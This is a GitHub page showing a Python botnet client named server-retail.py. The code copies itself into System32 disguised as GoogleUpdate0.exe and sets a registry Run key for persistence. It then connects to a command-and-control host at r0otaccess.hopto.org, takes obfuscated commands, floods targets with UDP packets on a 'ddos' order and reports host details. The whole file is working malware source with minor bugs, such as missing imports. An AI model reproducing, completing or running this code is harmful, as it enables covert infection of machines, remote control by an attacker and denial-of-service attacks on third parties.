-
Notifications
You must be signed in to change notification settings - Fork 0
/
server-retail.py
executable file
·177 lines (163 loc) · 5.8 KB
/
server-retail.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
from _winreg import *
import sys
import socket
import string
import time
import threading
import os
def enc(s,k) :
fs = "";
ka = 0;
for i in range(0,len(s)) :
fs += chr(int(ord(s[i])-10+(ord(k[ka])-35+(i%20-len(s)%20))))
ka+=1;
ka%=len(k);
return fs;
def dec(s,k) :
fs = "";
ka = 0;
for i in range(0,len(s)) :
fs += chr(int(ord(s[i])+10-(ord(k[ka])-35+(i%20-len(s)%20))))
ka+=1;
ka%=len(k);
return fs;
global cmd
global d
global w
global s
global key
global a
global t2
global outfile
class Infect(threading.Thread):
def run(self):
shutil.copy(sys.argv[0],outfile)
aReg = ConnectRegistry(None,HKEY_LOCAL_MACHINE)
aKey = OpenKey(aReg, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0, KEY_WRITE)
SetValueEx(aKey,"Explorer",0, REG_SZ, outfile)
class DDOS ( threading.Thread ):
def run ( self ):
self.running = True
target = (cmd[1],cmd[2]);
soc = socket.socket(socket.AF_INET,socket.SOCK_DGRAM);
while self.running:
for x in range(1000):
soc.sendto("asdsdsdsd",target);
print 'Finished DDOSing'
def stopMe ( self ):
self.running = False
class Wait ( threading.Thread ):
def run ( self ):
time.sleep(cmd[3])
d.stopMe()
class AdminConnect ( threading.Thread ):
def run ( self ):
self.running = True
bigFlag = True
while bigFlag and self.running:
bigFlag = False
connFlag = True
a = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
while connFlag and self.running:
try:
a.connect(('r0otaccess.hopto.org', 8888))
connFlag = False
except:
print "Trying to connect to r0ot_ in 2 seconds"
time.sleep(2)
flag = True
while flag and self.running:
try:
cmd = a.recv(10000)
cmd = dec(cmd, key)
cmd = cmd.split(" ")
if cmd[0] == 'test':
print "Test command recieved successfully :)"
elif cmd[0] == 'ddos':
cmd[2] = int(cmd[2])
cmd[3] = int(cmd[3])
print "DDOSing " + str(cmd[1]) + " on port " + str(cmd[2])
d = DDOS()
w = Wait()
w.start()
d.start()
elif cmd[0] == 'clean':
flag = False
aReg = ConnectRegistry(None,HKEY_LOCAL_MACHINE)
aKey = OpenKey(aReg, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0, KEY_WRITE)
try:
DeleteValue(aKey, "Explorer")
print "Cleaned: 1 second"
except:
print "Cleaned: 1 second"
time.sleep(1)
elif cmd[0] == 'info':
s.send(platform.node() + " - " + platform.system() + " " + platform.uname()[2])
except:
flag = False
bigFlag = True
def stopMe ( self ):
self.running = False
class ClientConnect ( threading.Thread ):
def run ( self ):
bigFlag = True
while bigFlag:
bigFlag = False
connFlag = True
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
while connFlag:
try:
s.connect(('127.0.0.1', 8888))
connFlag = False
except:
print "Trying to connect to client in 2 second"
time.sleep(2)
flag = True
while flag:
try:
cmd = s.recv(10000)
cmd = dec(cmd, key)
cmd = cmd.split(" ")
if cmd[0] == 'test':
print "Test command recieved successfully :)"
elif cmd[0] == 'ddos':
cmd[2] = int(cmd[2])
cmd[3] = int(cmd[3])
print "DDOSing " + str(cmd[1]) + " on port " + str(cmd[2])
d = DDOS()
w = Wait()
w.start()
d.start()
elif cmd[0] == 'clean':
flag = False
aReg = ConnectRegistry(None,HKEY_LOCAL_MACHINE)
aKey = OpenKey(aReg, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0, KEY_WRITE)
try:
DeleteValue(aKey, "Explorer")
print "Cleaned: 1 second"
except:
print "Cleaned: 1 second"
time.sleep(1)
elif cmd[0] == 'info':
s.send(platform.node() + " - " + platform.system() + " " + platform.uname()[2])
except:
flag = False
bigFlag = True
key = "this is the best key in the world, you'll never guess it :D 4&#*%:J"
outfile = os.getcwd()[0]
outfile = outfile + ":\Windows\System32\GoogleUpdate0.exe"
eheck = os.getcwd()[0]
check = check + ":\Windows\System32"
if os.path.isdir(check) == True:
outfile = os.getcwd()[0]
outfile = outfile + ":\Windows\System32\GoogleUpdate0.exe"
else:
outfile = "C:\Windows\System32\GoogleUpdate0.exe"
if os.path.isfile(outfile) == False:
Infect().start()
else:
print "\nComputer is already infected"
t1 = ClientConnect()
t1.start()
t2 = AdminConnect()
t2.start()